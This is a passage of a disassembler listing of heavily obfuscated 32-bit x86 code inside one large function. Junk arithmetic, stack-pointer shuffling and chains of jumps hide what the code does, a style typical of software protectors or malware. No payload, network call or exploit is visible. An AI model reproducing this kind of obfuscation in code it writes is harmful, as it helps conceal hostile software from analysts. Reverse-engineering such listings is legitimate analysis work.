		jmp	loc_5A2336
; ---------------------------------------------------------------------------


loc_5A8BB0:				; CODE XREF: sub_58A891+12F6Fj
		mov	[esp+84h+var_86+2], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	[esp+88h+var_86+2]
		pop	ecx
		pop	[esp+88h+var_8A+2]
		pop	esp
		pop	edx
		xor	[esp+7Ch+var_7A+2], ebx
		push	[esp+7Ch+var_7E+2]
		jmp	loc_5A83AB
; ---------------------------------------------------------------------------


loc_5A8BD8:				; CODE XREF: sub_58A891+1D1EDj
		add	edi, ecx
		mov	ecx, [esp+0]
		jmp	loc_5A412B
; ---------------------------------------------------------------------------


loc_5A8BE2:				; CODE XREF: sub_58A891+15686j
		mov	dl, bh
		push	[esp+74h+var_74]
		mov	ebx, [esp+78h+var_7A+2]
		jmp	loc_5A300F
; ---------------------------------------------------------------------------


loc_5A8BEF:				; CODE XREF: sub_58A891+21056j
		sub	esp, 4
		jmp	loc_5AB1C9
; ---------------------------------------------------------------------------


loc_5A8BF7:				; CODE XREF: sub_58A891+20F91j
		mov	ebx, eax
		pop	eax
		mov	esi, 5A8F0F5Ch
		xor	esi, ebx
		mov	ebx, [esp+78h+var_7A+2]
		add	esp, 4
		sub	esi, 75DD6301h
		push	edi
		jmp	loc_5AAF0C
; ---------------------------------------------------------------------------


loc_5A8C16:				; CODE XREF: sub_58A891+1E857j
		add	esi, 4
		push	esi
		push	[esp+7Ch+var_7A+2]
		pop	esi
		pop	[esp+7Ch+var_7E+2]
		pop	esp
		jmp	loc_5A7567
; ---------------------------------------------------------------------------


loc_5A8C2B:				; CODE XREF: sub_58A891+1592Bj
		xor	eax, 2E35F5A2h
		sub	ebp, 4D8423B9h
		add	ebp, eax
		add	ebp, 4D8423B9h
		push	dword ptr [esp+0]
		pop	eax
		add	esp, 4
		push	ebp
		push	[esp-6+arg_0+2]
		pop	ebp
		pop	dword ptr [esp+0]
		jmp	loc_5A6260
; ---------------------------------------------------------------------------


loc_5A8C56:				; CODE XREF: sub_58A891+189A6j
		mov	ebx, 0FFFFFFFFh
		add	esi, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		push	0DC8h
		mov	[esp+0], ebx
		mov	ebx, 32A07753h
		or	ebx, 6D031596h
		jg	loc_5A5027
		shr	ebx, 6
		jmp	loc_5A4A97
; ---------------------------------------------------------------------------
		pop	dword ptr [esp]


loc_5A8C87:				; CODE XREF: sub_58A891+26686j
		sub	edi, 5633A98h
		not	edi
		push	31C1h
		mov	[esp+0], esi
		jmp	loc_59F14B
; ---------------------------------------------------------------------------


loc_5A8C9C:				; CODE XREF: sub_58A891+15297j
		push	3623h
		mov	[esp+0], ebx
		jmp	loc_5B1412
; ---------------------------------------------------------------------------


loc_5A8CA9:				; CODE XREF: sub_58A891+1604Cj
		mov	[esp+60h+var_60], ecx
		push	edx
		mov	dh, bl
		mov	cl, dh
		pop	edx
		mov	ah, cl
		pop	ecx
		pop	ebx
		add	ah, 57h
		mov	dh, ah
		push	[esp+58h+var_58]
		jmp	loc_5AAC25
; ---------------------------------------------------------------------------


loc_5A8CC3:				; CODE XREF: sub_58A891+1E64Cj
		shr	eax, 5
		jmp	loc_5B012F
; ---------------------------------------------------------------------------


loc_5A8CCB:				; CODE XREF: sub_58A891+150D6j
		pop	edi
		add	esp, 4
		sub	eax, 7DD1313Fh
		jmp	loc_5A350B
; ---------------------------------------------------------------------------


loc_5A8CD9:				; CODE XREF: sub_58A891+25E54j
		pop	esp
		push	ebx
		push	edx
		push	4B4602E7h
		pop	edx
		xor	edx, 4D336181h
		push	eax
		mov	eax, edx
		mov	ebx, eax
		pop	eax
		pop	edx
		jmp	loc_5A82AE
; ---------------------------------------------------------------------------


loc_5A8CF4:				; CODE XREF: sub_58A891+252CBj
		not	edx
		push	0
		jmp	loc_5A7C20
; ---------------------------------------------------------------------------


loc_5A8D00:				; CODE XREF: sub_58A891+20204j
		pop	esi
		add	edi, 4
		xchg	edi, [esp-12h+arg_8+2]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	7D58h
		mov	[esp-0Eh+arg_4+2], eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xor	ebx, [esp-12h+arg_8+2]
		jmp	loc_5A5CA7
; ---------------------------------------------------------------------------


loc_5A8D29:				; CODE XREF: sub_58A891+148E5j
		mov	esi, 4
		add	edi, esi
		jmp	loc_5B229C
; ---------------------------------------------------------------------------


loc_5A8D35:				; CODE XREF: sub_58A891+25209j
		pop	esp
		push	[esp+0C6h+var_C8+2]
		jmp	loc_5A3F10
; ---------------------------------------------------------------------------


loc_5A8D3E:				; CODE XREF: sub_58A891+1FED8j
					; sub_58A891+20C34j
		sub	ebp, 4
		push	ebp
		push	[esp+0CEh+var_CC+2]
		jmp	loc_5A39CB
; ---------------------------------------------------------------------------
		push	3DCEh
		mov	[esp+0D6h+var_D8+2], eax
		push	ecx
		jmp	loc_5AB941
; ---------------------------------------------------------------------------


loc_5A8D5C:				; CODE XREF: sub_58A891+12A98j
		pop	ecx
		push	edi
		push	[esp-0Eh+arg_8+2]
		mov	edi, [esp-0Ah+arg_0+2]
		add	esp, 4
		pop	[esp-0Eh+arg_4+2]
		jmp	loc_5A1C9F
; ---------------------------------------------------------------------------


loc_5A8D70:				; CODE XREF: sub_58A891+184C5j
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_59E38D
; ---------------------------------------------------------------------------


loc_5A8D85:				; CODE XREF: sub_58A891+2818Ej
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A5BAE
; ---------------------------------------------------------------------------


loc_5A8D92:				; CODE XREF: sub_58A891+1A80Bj
		pop	edx
		jmp	loc_5B1206
; ---------------------------------------------------------------------------


loc_5A8D98:				; CODE XREF: sub_58A891+14A1Dj
		pop	esp
		xor	eax, esi
		push	[esp+0C2h+var_C4+2]
		jmp	loc_5A4CBD
; ---------------------------------------------------------------------------


loc_5A8DA3:				; CODE XREF: sub_58A891+1399Aj
		pop	ebx
		push	edx
		jmp	loc_59E3E2
; ---------------------------------------------------------------------------


loc_5A8DAA:				; CODE XREF: sub_58A891+1AFD6j
		mov	eax, esp
		push	7E25h
		mov	[esp+1Ah+var_1C+2], ebx
		push	edi
		mov	edi, 3777108Dh
		sub	edi, 410277A4h
		jl	loc_59D922
		add	edi, 98B671Bh
		jmp	loc_5B20E2
; ---------------------------------------------------------------------------


loc_5A8DD1:				; CODE XREF: sub_58A891+21B9Dj
		not	[esp+1Eh+var_20+2]
		pop	edx
		shr	edx, 3
		add	edx, 0E9C2E2A5h
		add	eax, 758D62EAh
		sub	eax, 67AA6670h
		jmp	loc_5A5100
; ---------------------------------------------------------------------------


loc_5A8DED:				; CODE XREF: sub_58A891+23DBCj
		pop	edx
		push	4786h
		mov	[esp+1Ah+var_1C+2], ecx
		jmp	loc_5B24A6
; ---------------------------------------------------------------------------


loc_5A8DFB:				; CODE XREF: sub_58A891+191DFj
		mov	edi, 49274AA3h
		jmp	loc_5A3708
; ---------------------------------------------------------------------------
		lodsb
		push	ecx
		mov	cl, 0Ch
		jmp	loc_5A970E
; ---------------------------------------------------------------------------


loc_5A8E0E:				; CODE XREF: sub_58A891+23BCBj
		add	esi, 703F19E0h
		pop	ebx
		not	esi
		xor	esi, 176C3B62h
		add	esi, 308BE601h
		add	eax, esi
		pop	esi
		or	eax, 460B4432h
		add	eax, 294E07A4h
		push	edi
		mov	edi, 2A523893h
		neg	edi
		jmp	loc_5AD5DC
; ---------------------------------------------------------------------------


loc_5A8E3D:				; CODE XREF: sub_58A891+15884j
		push	2BF2h
		jmp	loc_5A3411
; ---------------------------------------------------------------------------


loc_5A8E47:				; CODE XREF: sub_58A891+163B3j
		mov	esi, 6AF33C13h
		jmp	loc_5A6F40
; ---------------------------------------------------------------------------


loc_5A8E51:				; CODE XREF: sub_58A891:loc_5B0D03j
		and	ebp, 288A44EEh
		jmp	loc_59DC1A
; ---------------------------------------------------------------------------


loc_5A8E5C:				; CODE XREF: sub_58A891+195A9j
					; sub_58A891+2068Ej
		push	[esp-12h+arg_8+2]
		jmp	loc_5AAF6E
; ---------------------------------------------------------------------------


loc_5A8E64:				; CODE XREF: sub_58A891+21253j
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-0Eh+arg_4+2]
		mov	esp, [esp-0Eh+arg_4+2]
		mov	[esp-0Eh+arg_4+2], edx
		push	46E4h
		mov	[esp-0Ah+arg_0+2], eax
		sub	esp, 4
		mov	[esp+0], ebx
		mov	bl, 63h
		neg	bl
		jz	loc_5A7158
		or	bl, 0B2h
		jmp	loc_5B105D
; ---------------------------------------------------------------------------


loc_5A8EA2:				; CODE XREF: sub_58A891+14246j
		mov	ebp, esi
		jmp	loc_5AEBA7
; ---------------------------------------------------------------------------


loc_5A8EA9:				; CODE XREF: sub_58A891+177C6j
		sub	edi, 156C2DE3h
		sub	edi, esi
		add	edi, 156C2DE3h
		pop	esi
		jmp	loc_5AC5D7
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+2Ah+var_2C+2]
		push	5E02h
		jmp	loc_5A4CCB
; ---------------------------------------------------------------------------


loc_5A8ECB:				; CODE XREF: sub_58A891+1CC55j
		sub	ecx, 3F17A3Fh
		push	esi
		jmp	loc_5A3C53
; ---------------------------------------------------------------------------


loc_5A8ED7:				; CODE XREF: sub_58A891+26B45j
		push	eax
		mov	eax, 0CC032D6h
		jmp	loc_5A8CC3
; ---------------------------------------------------------------------------


loc_5A8EE2:				; CODE XREF: sub_58A891+15E1Cj
					; sub_58A891:loc_5A1802j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A0582
; ---------------------------------------------------------------------------


loc_5A8EF6:				; CODE XREF: sub_58A891+25DBAj
		shl	edx, 1
		push	ecx
		push	1A7Ch
		mov	[esp+8Ah+var_8A], esi
		push	403A2CCFh
		pop	esi
		mov	ecx, 403A2CCEh
		sub	ecx, 29D05DB4h
		push	ebp
		mov	ebp, 2B17162Ch
		add	ecx, ebp
		pop	ebp
		sub	ecx, esi
		sub	ecx, 2B17162Ch
		push	edx
		mov	edx, 29D05DB4h
		add	ecx, edx
		jmp	loc_5ADB32
; ---------------------------------------------------------------------------


loc_5A8F30:				; CODE XREF: sub_58A891+1D0EAj
		mov	esi, 5F8D03D3h
		jmp	loc_5AF81D
; ---------------------------------------------------------------------------


loc_5A8F3A:				; CODE XREF: sub_58A891+1AD9Bj
		pop	edi
		push	ebp
		push	edx
		mov	edx, 6526178Ah
		shr	edx, 4
		xor	edx, 195B7048h
		sub	edx, 929437h
		mov	ebp, edx
		pop	edx
		inc	ebp
		jmp	loc_5B2EA2
; ---------------------------------------------------------------------------


loc_5A8F5A:				; CODE XREF: sub_58A891+1BA42j
		add	ebx, 14B6FB3Eh
		sub	edi, ebx
		mov	ebx, [esp-0Ah+arg_0+2]
		add	esp, 4
		jmp	loc_5AFF38
; ---------------------------------------------------------------------------


loc_5A8F70:				; CODE XREF: sub_58A891+1CFE4j
		pop	esi
		mov	ebx, [esp+66h+var_68+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	[esp+6Eh+var_6C+2]
		pop	ebx
		pop	[esp+6Eh+var_70+2]
		pop	esp
		jmp	loc_59FCC7
; ---------------------------------------------------------------------------


loc_5A8F8F:				; CODE XREF: sub_58A891+1E2A2j
		sub	esi, edi
		pop	edi
		jmp	loc_5A338B
; ---------------------------------------------------------------------------


loc_5A8F97:				; CODE XREF: sub_58A891+1340Aj
		add	esi, ebp
		pop	ebp
		mov	ebp, [esp+0Eh+var_10+2]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp+0Eh+var_10+2]
		xor	[esp+0Eh+var_10+2], edi
		xor	edi, [esp+0Eh+var_10+2]
		mov	esp, [esp+0Eh+var_10+2]
		mov	[esp+0Eh+var_10+2], ebp
		jmp	loc_5A9C25
; ---------------------------------------------------------------------------


loc_5A8FC0:				; CODE XREF: sub_58A891+21BF3j
		sub	esi, 2B383FB3h
		sub	esi, 5A84430Dh
		mov	eax, [esp+0Eh+var_10+2]
		add	esp, 4
		xor	esi, [esp+0Ah+var_C+2]
		jmp	loc_5A122E
; ---------------------------------------------------------------------------


loc_5A8FDD:				; CODE XREF: sub_58A891+22EECj
		add	eax, ebx
		pop	ebx
		jmp	loc_5A5402
; ---------------------------------------------------------------------------


loc_5A8FE5:				; CODE XREF: sub_58A891+1B9EEj
		or	ebx, ebp
		jmp	loc_5AF969
; ---------------------------------------------------------------------------


loc_5A8FEC:				; CODE XREF: sub_58A891+1DB62j
		mov	edi, 206D00A5h
		jmp	loc_5A8695
; ---------------------------------------------------------------------------


loc_5A8FF6:				; CODE XREF: sub_58A891+1C1BAj
		jp	loc_59ED3A
		shr	eax, 7
		jmp	loc_5B164F
; ---------------------------------------------------------------------------


loc_5A9004:				; CODE XREF: sub_58A891+1C500j
		add	eax, edi
		pop	edi
		add	eax, ecx
		sub	eax, 40BA3A7Eh
		mov	ecx, [esp+0Eh+var_10+2]
		add	esp, 4
		add	eax, 2AFC7115h
		add	eax, ebx
		push	edx
		mov	edx, 2AFC7115h
		sub	eax, edx
		pop	edx
		push	ecx
		mov	ecx, esp
		jmp	loc_5A2495
; ---------------------------------------------------------------------------


loc_5A902C:				; CODE XREF: sub_58A891+1C560j
		mov	ebp, 21E57A36h
		sub	eax, ebp
		pop	ebp
		add	eax, 5DE777A9h
		add	eax, edx
		sub	eax, 5DE777A9h
		jmp	loc_5B2622
; ---------------------------------------------------------------------------


loc_5A9045:				; CODE XREF: sub_58A891+193BDj
		sub	esi, 49224584h
		shr	esi, 7
		jmp	loc_5ADB77
; ---------------------------------------------------------------------------


loc_5A9053:				; CODE XREF: sub_58A891+27979j
		pop	ebx
		push	esi
		jmp	loc_5ABA81
; ---------------------------------------------------------------------------


loc_5A905A:				; CODE XREF: sub_58A891+1C700j
		push	[esp+8Ah+var_8A]
		pop	ecx
		add	esp, 4
		push	edi
		push	esp
		jmp	loc_5B0E16
; ---------------------------------------------------------------------------


loc_5A906B:				; CODE XREF: sub_58A891+12FF5j
		and	esi, 72180352h
		jge	loc_5B0749
		or	esi, 33564D08h
		jo	loc_59F3C4
		mov	dl, 0CFh
		pop	edx


loc_5A9086:				; CODE XREF: sub_58A891+1C0C9j
		and	ebx, 4B2546A8h
		ja	loc_5AC88B
		jmp	loc_5A29AE
; ---------------------------------------------------------------------------
		inc	edi
		xor	ch, 5Ch
		push	edi


loc_5A909C:				; CODE XREF: sub_58A891+19687j
		push	dword ptr [ebx]
		pop	eax
		pop	ebx
		pop	ecx
		push	dword ptr [edi+eax*4]
		add	[esp+7Eh+var_7E], 29BB2946h
		pop	eax
		push	esi
		push	6033h
		mov	[esp+82h+var_82], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		jmp	loc_5AA2EA
; ---------------------------------------------------------------------------


loc_5A90C3:				; CODE XREF: sub_58A891+166F8j
		jo	loc_59BFDB
		jmp	loc_5AB379
; ---------------------------------------------------------------------------


loc_5A90CE:				; CODE XREF: sub_58A891+16C28j
		mov	ecx, 4
		sub	esi, 460A727Fh
		add	esi, ecx
		add	esi, 460A727Fh
		push	[esp+78h+var_7A+2]
		pop	ecx
		add	esp, 4
		jmp	loc_5A8C16
; ---------------------------------------------------------------------------


loc_5A90ED:				; CODE XREF: sub_58A891+15B77j
		mov	ecx, [esp+86h+var_86]
		sub	esp, 4
		jmp	loc_5A9F63
; ---------------------------------------------------------------------------


loc_5A90F8:				; CODE XREF: sub_58A891+12802j
		push	esp
		pop	edx
		push	ecx
		mov	ecx, 530A4043h
		or	ecx, 2C103F2Ah
		xor	ecx, 7F1A7F6Fh
		add	edx, ecx
		pop	ecx
		sub	edx, 4
		push	edx
		push	[esp+7Eh+var_7A]
		jmp	loc_5ADE5C
; ---------------------------------------------------------------------------


loc_5A911C:				; CODE XREF: sub_58A891+15A77j
		push	[esp+96h+var_96]
		pop	eax
		jmp	loc_5AB170
; ---------------------------------------------------------------------------


loc_5A9125:				; CODE XREF: sub_58A891+1C746j
		push	ebx
		mov	ebx, 15F262FCh
		not	ebx
		and	ebx, 46EA7B6Ah
		add	ebx, 12A7236Eh
		add	ebx, 1A060003h
		jnz	loc_59C305
		add	ebx, 56896D91h
		jmp	loc_5A99DB
; ---------------------------------------------------------------------------


loc_5A9150:				; CODE XREF: sub_58A891+19DF0j
		pop	edx
		add	[esp+0AEh+var_AA], edx
		sub	[esp+0AEh+var_AA], 0A39409Fh
		jmp	loc_5A44ED
; ---------------------------------------------------------------------------


loc_5A9162:				; CODE XREF: sub_58A891+15B4Fj
					; sub_58A891+1F2E2j
		mov	eax, [esp+8Ah+var_8A]
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	ebx
		jmp	loc_5A2565
; ---------------------------------------------------------------------------


loc_5A9177:				; CODE XREF: sub_58A891+26453j
		push	7D18h
		mov	[esp+96h+var_96], ebp
		mov	ecx, [esp+96h+var_96]
		add	esp, 4
		mov	ebp, [esp+92h+var_92]
		jmp	loc_5A4112
; ---------------------------------------------------------------------------


loc_5A918D:				; CODE XREF: sub_58A891+1BB06j
		mov	esp, [esp+1Eh+var_20+2]
		jmp	loc_59CE5D
; ---------------------------------------------------------------------------


loc_5A9195:				; CODE XREF: sub_58A891+19CE4j
		sub	esi, 464E3273h
		sub	esi, edx
		jmp	loc_5ACB67
; ---------------------------------------------------------------------------


loc_5A91A2:				; CODE XREF: sub_58A891+2388Aj
		mov	[esp+92h+var_92], ecx
		push	ebx
		mov	ebx, 78351B7Bh
		jmp	loc_59D5D0
; ---------------------------------------------------------------------------


loc_5A91B0:				; CODE XREF: sub_58A891+20C7Bj
		pop	ecx
		shr	esi, 1
		sub	esi, 0FFFFFFFFh
		jmp	loc_5B1234
; ---------------------------------------------------------------------------


loc_5A91BE:				; CODE XREF: sub_58A891+248FAj
					; sub_58A891+263E1j
		pop	edi
		pop	[esp+8Eh+var_8E]
		mov	esp, [esp+8Ah+var_8A]
		jmp	loc_5B2675
; ---------------------------------------------------------------------------


loc_5A91CA:				; CODE XREF: sub_58A891+15D82j
		pop	ebp
		add	ebp, 4ED67B33h
		pop	ebx
		push	[esp+82h+var_82]
		jmp	loc_5A7D7B
; ---------------------------------------------------------------------------


loc_5A91DA:				; CODE XREF: sub_58A891+27A4Dj
		sub	esp, 4
		mov	[esp+8Ah+var_8A], ebx
		jmp	loc_5A75B9
; ---------------------------------------------------------------------------


loc_5A91E5:				; CODE XREF: sub_58A891+24924j
		mov	esi, 47911E9Ch
		jmp	loc_5A2098
; ---------------------------------------------------------------------------


loc_5A91EF:				; CODE XREF: sub_58A891+12C94j
					; sub_58A891:loc_5B2C7Aj
		pop	esp
		mov	[esp+0], eax
		push	3BA9h
		mov	[esp+2+var_4+2], edx
		mov	dh, 5Ch
		push	3B09h
		mov	[esp+6+var_8+2], ecx
		mov	cl, 9Fh
		mov	al, 0AFh
		jmp	loc_5A0E39
; ---------------------------------------------------------------------------


loc_5A920E:				; CODE XREF: sub_58A891+1D6ADj
		push	edi
		jmp	loc_5ACF36
; ---------------------------------------------------------------------------


loc_5A9214:				; CODE XREF: sub_58A891+12BBCj
		push	[esp+2+var_4+2]
		mov	edx, [esp+6+var_8+2]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp+2+var_4+2], ebp
		push	ecx
		push	ebp
		mov	ebp, 48814803h
		shr	ebp, 5
		jp	loc_5AEF7E
		dec	ebp
		sub	ebp, 0A344E70Ch
		mov	ecx, ebp
		pop	ebp
		jmp	loc_5A0943
; ---------------------------------------------------------------------------


loc_5A9248:				; CODE XREF: sub_58A891+1EDE1j
		push	ecx
		push	[esp+0Ah+var_8+2]
		pop	ecx
		jmp	loc_59C342
; ---------------------------------------------------------------------------


loc_5A9253:				; CODE XREF: sub_58A891+1C406j
		pop	eax
		sub	edi, 61DA765Eh
		sub	esp, 4
		mov	[esp+78h+var_7A+2], esi
		mov	esi, 2AB26105h
		jmp	loc_5ADDB1
; ---------------------------------------------------------------------------


loc_5A926A:				; CODE XREF: sub_58A891+168C4j
		sub	edx, 6DDE3D34h
		push	ecx
		push	4EBDh
		jmp	loc_5B0166
; ---------------------------------------------------------------------------


loc_5A927B:				; CODE XREF: sub_58A891+2673Ej
		and	ecx, 63008B2h
		push	eax
		mov	eax, 64D96110h
		jmp	loc_5AEF55
; ---------------------------------------------------------------------------


loc_5A928C:				; CODE XREF: sub_58A891+13F3Dj
		jmp	loc_5A56C2
; ---------------------------------------------------------------------------


loc_5A9291:				; CODE XREF: sub_58A891+131F5j
		xchg	edi, [esp-0Eh+arg_4+2]
		pop	esp
		push	esi
		mov	esi, 3C45475Fh
		sub	edx, esi
		pop	esi
		add	edx, ebx
		add	edx, 3C45475Fh
		mov	ebx, [esp-12h+arg_8+2]
		add	esp, 4
		jmp	loc_5AC958
; ---------------------------------------------------------------------------


loc_5A92B1:				; CODE XREF: sub_58A891+1CD0Fj
		jns	loc_5A1D6C
		shl	esi, 2
		sub	esi, 32BE38ECh
		mov	bh, ch


loc_5A92C2:				; CODE XREF: sub_58A891+1F973j
		sub	cl, bh
		pop	ebx
		add	cl, 0CCh
		jge	loc_5AEB3D
		inc	cl
		jns	loc_5AE363
		push	7061h
		mov	[esp+5Eh+var_60+2], eax
		mov	ah, 0A7h
		and	ah, 0E2h
		jmp	loc_5A3F31
; ---------------------------------------------------------------------------


loc_5A92E8:				; CODE XREF: sub_58A891+1F2AFj
		xchg	eax, [esp+5Eh+var_60+2]
		mov	esp, [esp+5Eh+var_60+2]
		add	eax, 2E096C9Bh
		sub	eax, edx
		push	ebx
		mov	ebx, 1E9A0F34h
		add	ebx, 0F6F5D67h
		sub	eax, ebx
		mov	ebx, [esp+62h+var_64+2]
		add	esp, 4
		mov	edx, [esp+5Eh+var_60+2]
		push	eax
		jmp	loc_5B1E7F
; ---------------------------------------------------------------------------


loc_5A9315:				; CODE XREF: sub_58A891+15A3Cj
					; sub_58A891+16B89j
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp+8Eh+var_8E]
		jmp	loc_5AE40D
; ---------------------------------------------------------------------------


loc_5A9328:				; CODE XREF: sub_58A891+1ABBDj
		dec	ch
		jmp	loc_5AB3AF
; ---------------------------------------------------------------------------


loc_5A932F:				; CODE XREF: sub_58A891+13C16j
		not	esi
		xchg	esi, edx
		shl	edx, 1
		add	edx, 8C2EDEC9h
		mov	edi, edx
		pop	edx
		push	ebx
		jmp	loc_5ADFB5
; ---------------------------------------------------------------------------


loc_5A9344:				; CODE XREF: sub_58A891+22277j
		mov	[esp+8Eh+var_8E], edx
		push	edi
		push	5AF973EFh
		pop	edi
		push	1718h
		mov	[esp+96h+var_96], ecx
		mov	ecx, 332594Ch
		sub	ecx, 0DEA20404h
		xor	edi, ecx
		pop	ecx
		sub	edi, 24C4E2C4h
		mov	edx, edi
		pop	edi
		push	7559h
		jmp	loc_5B238E
; ---------------------------------------------------------------------------


loc_5A9377:				; CODE XREF: sub_58A891+145CCj
					; sub_58A891+1EC11j
		pop	eax
		mov	ah, dh
		mov	edx, [esp+12h+var_14+2]
		jmp	loc_5B1D58
; ---------------------------------------------------------------------------


loc_5A9382:				; CODE XREF: sub_58A891+28649j
		or	[edi+1Ch], esi
		push	[esp+12h+var_14+2]
		push	[esp+16h+var_18+2]
		pop	esi
		add	esp, 4
		sub	esp, 4
		mov	[esp+16h+var_18+2], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 720A31DEh
		shl	edi, 1
		or	edi, 1FAE44E0h
		neg	edi
		not	edi
		xor	edi, 3CCD4C5Ch
		xor	edi, 0C3732BA3h
		jmp	loc_59CCD4
; ---------------------------------------------------------------------------


loc_5A93C0:				; CODE XREF: sub_58A891+231E1j
		mov	ebp, 4A6D5766h
		sub	ebp, 4A6D5762h
		add	eax, 0F4A1DBCh
		push	ebx
		mov	ebx, 7060482h
		jmp	loc_59C293
; ---------------------------------------------------------------------------


loc_5A93DB:				; CODE XREF: sub_58A891+1E060j
		and	ecx, 797C1F86h
		ja	loc_5AB359
		add	ecx, 0D95D9E22h
		mov	ebp, ecx
		mov	ecx, [esp+2Ah+var_2C+2]


loc_5A93F2:				; CODE XREF: sub_58A891+1ABF4j
		mov	esi, 4
		mov	ecx, esi
		pop	esi
		add	edi, 73B183Fh
		add	edi, ecx
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], ecx
		mov	ecx, 73B183Fh
		jmp	loc_5A9731
; ---------------------------------------------------------------------------


loc_5A9412:				; CODE XREF: sub_58A891:loc_5A7860j
		neg	esi
		jge	loc_5ABC9A
		not	esi
		xor	esi, 3B180542h
		jnz	loc_5A4861


loc_5A9428:				; CODE XREF: sub_58A891+16DE8j
		pop	eax
		pop	ebx
		jmp	loc_59FEF8
; ---------------------------------------------------------------------------


loc_5A942F:				; CODE XREF: sub_58A891+162B5j
		push	ebx
		jmp	loc_5A4379
; ---------------------------------------------------------------------------


loc_5A9435:				; CODE XREF: sub_58A891+20BBDj
		sub	eax, esi
		add	eax, 4CBF113Bh
		jmp	loc_59E25E
; ---------------------------------------------------------------------------


loc_5A9441:				; CODE XREF: sub_58A891+232FCj
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A9448:				; CODE XREF: sub_58A891+14D3Dj
					; sub_58A891+1DB3Bj
		add	dword ptr [esp+0], 4
		push	dword ptr [esp+0]
		pop	ecx
		jmp	loc_5B28AF
; ---------------------------------------------------------------------------


loc_5A9458:				; CODE XREF: sub_58A891+1C338j
		mov	[esp+0], eax
		push	1DD6h
		mov	[esp+46h+var_46], ebp
		push	ebx
		mov	ebx, 196367EDh
		mov	ebp, ebx
		pop	ebx
		push	ebp
		xor	[esp+4Ah+var_4A], 65444B5Fh
		push	[esp+4Ah+var_4A]
		pop	eax
		push	ebp
		mov	ebp, esp
		jmp	loc_5AF0B2
; ---------------------------------------------------------------------------


loc_5A9480:				; CODE XREF: sub_58A891:loc_5A6468j
		xchg	ebx, edx
		push	ebx
		not	[esp-0Eh+arg_4+2]
		pop	ebx
		xor	edx, ebx
		xor	ebx, edx
		xor	edx, ebx
		sub	edx, 3DFC60F7h
		jmp	loc_5AC6EF
; ---------------------------------------------------------------------------


loc_5A9498:				; CODE XREF: sub_58A891+26555j
		inc	edx
		jle	loc_5A6CB7
		shl	edx, 8
		jns	loc_5A9377
		jmp	loc_5B23DF
; ---------------------------------------------------------------------------


loc_5A94AD:				; CODE XREF: sub_58A891+180D8j
		shl	eax, 1
		xor	eax, 0E58E3E48h
		jmp	loc_59C9B1
; ---------------------------------------------------------------------------


loc_5A94B9:				; CODE XREF: sub_58A891+190B5j
		push	[esp+2Ah+var_2C+2]
		jmp	loc_5A250C
; ---------------------------------------------------------------------------


loc_5A94C1:				; CODE XREF: sub_58A891+120EAj
		add	[esp+86h+var_86], 4E4208E8h
		pop	edx
		sub	edx, 4E4208E8h
		pop	eax
		not	edx
		inc	edx
		add	edx, 0FFFFFFFFh
		dec	edx
		shl	edx, 3
		xor	edx, 74F4E374h
		jmp	loc_5AF061
; ---------------------------------------------------------------------------


loc_5A94E5:				; CODE XREF: sub_58A891+20BD1j
		sub	byte ptr [esp+7Eh+var_7E], cl
		mov	cl, byte ptr [esp+7Eh+var_7E]
		push	edi
		mov	edi, esp
		push	ecx
		jmp	loc_5A27FF
; ---------------------------------------------------------------------------


loc_5A94F4:				; CODE XREF: sub_58A891+27D5Fj
		pop	ecx
		sub	edi, 8AF7B8F8h
		add	edx, 65F82608h
		add	edx, edi
		sub	edx, 65F82608h
		mov	edi, [esp+82h+var_82]
		sub	esp, 4
		mov	[esp+86h+var_86], edx
		push	esp
		jmp	loc_5A3176
; ---------------------------------------------------------------------------


loc_5A9518:				; CODE XREF: sub_58A891+20081j
		push	esi
		mov	esi, 195372BFh
		add	esi, 78165A5Bh
		or	esi, 708B5E1Bh
		jmp	loc_5A079D
; ---------------------------------------------------------------------------


loc_5A952F:				; CODE XREF: sub_58A891+1FA1Cj
		pop	edi
		push	edi
		jmp	loc_5AEBD5
; ---------------------------------------------------------------------------


loc_5A9536:				; CODE XREF: sub_58A891+18349j
		jle	loc_5B01CA
		dec	ch
		sub	ch, 0E5h
		jno	loc_5B12BD
		push	bx
		mov	bl, 78h
		neg	bl
		jnb	loc_5AF1C7
		jmp	loc_59F8A8
; ---------------------------------------------------------------------------


loc_5A9558:				; CODE XREF: sub_58A891+1D791j
		add	eax, 0CAE1F98Bh
		add	edi, eax
		mov	eax, [esp+3Ah+var_3C+2]
		add	esp, 4
		add	edi, eax
		push	ecx
		push	edx
		mov	edx, 1D5E3580h
		mov	ecx, edx
		pop	edx
		sub	ecx, 0D55CFDF7h
		sub	edi, ecx
		pop	ecx
		push	[esp+36h+var_38+2]
		jmp	loc_5A9CDF
; ---------------------------------------------------------------------------


loc_5A9585:				; CODE XREF: sub_58A891+129EAj
		push	[esp-6+arg_0+2]
		jmp	loc_5A711B
; ---------------------------------------------------------------------------


loc_5A958E:				; CODE XREF: sub_58A891+20FCDj
		sub	ch, 0AAh
		sub	ch, 90h
		dec	ch
		jmp	loc_5ACAE4
; ---------------------------------------------------------------------------


loc_5A959B:				; CODE XREF: sub_58A891+20260j
		add	edi, ebp
		push	ebp
		mov	ebp, 76AE5733h
		sub	edi, ebp
		pop	ebp
		pop	ebp
		pop	ecx
		xor	edi, [esp-0Ah+arg_0+2]
